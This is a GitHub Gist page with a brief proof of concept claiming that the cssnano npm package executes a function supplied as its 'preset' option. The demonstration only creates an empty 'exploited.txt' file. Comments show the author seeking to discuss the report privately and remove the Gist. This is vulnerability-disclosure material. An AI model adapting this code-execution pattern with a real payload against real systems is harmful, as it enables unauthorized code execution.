Last active
November 9, 2023 16:18
-
-
Save mcoimbra/907ec2dc71662e7199bad4fc10792268 to your computer and use it in GitHub Desktop.
Package cssnano: Allows a custom function to be passed into its internals (#56 in src/index.js) which will then execute it. In this example an 'exploited.txt' file is created.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
'use strict' | |
const pkg = require('cssnano'); | |
const options = { | |
preset: function() { | |
const fs = require('node:fs'); | |
let fd = fs.openSync('exploited.txt', 'a'); | |
fs.closeSync(fd); | |
return { | |
plugins: [] | |
}; | |
} | |
} | |
// The callback in 'options.preset' will be executed and a local 'exploited.txt' file will be created. | |
const processor = pkg(options); |
You can contact me on GitHub I think.
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
@ludofischer you raise valid points, we are still analyzing this.
Is there a way to contact you about this in private so we may delete this Gist to not have this in the open as you commented?